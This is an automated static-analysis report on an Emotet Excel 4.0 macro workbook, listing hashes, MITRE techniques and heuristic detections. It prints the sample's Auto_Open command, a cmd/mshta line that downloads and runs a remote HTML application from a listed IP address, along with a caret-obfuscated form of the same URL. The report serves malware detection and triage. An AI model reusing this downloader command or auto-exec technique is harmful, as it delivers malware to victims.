Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 85d332fbb1d669f4…

MALICIOUS

Office (OLE) / .XLSX

35.6 KB Created: 2022-01-27 20:50:39 Authoring application: Microsoft Excel
MD5: 35b1b32a84cd4393acef59f566161137 SHA-1: 87215d9222c5a194356c2aa9edda51ea24b7d7eb SHA-256: 85d332fbb1d669f4c9ff9af5ac76b7588d51a4fc6bba450906462ffc779696eb
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1218.005 System Binary Proxy Execution: Mshta T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled workbook that uses an Auto_Open trigger to execute a command line. The XLM macro explicitly calls EXEC("CMD.EXE /c ms^hta http://91.240.118.168/oo/aa/se.html"), which leverages mshta.exe to download and execute a remote HTML application from the same IP address. The ClamAV detection specifically identifies this as Emotet, and the pattern of using XLM macros and mshta for delivery is characteristic of this family.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-a5251d3d2d6d3722-9951020-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.2^40.118.1^68/oo/aa/s^e.ht^m^lB
    • http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
23325ee193a0feb6511be862c11cb89b33831fbff792eb1bfbc3606b208200cb		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 525 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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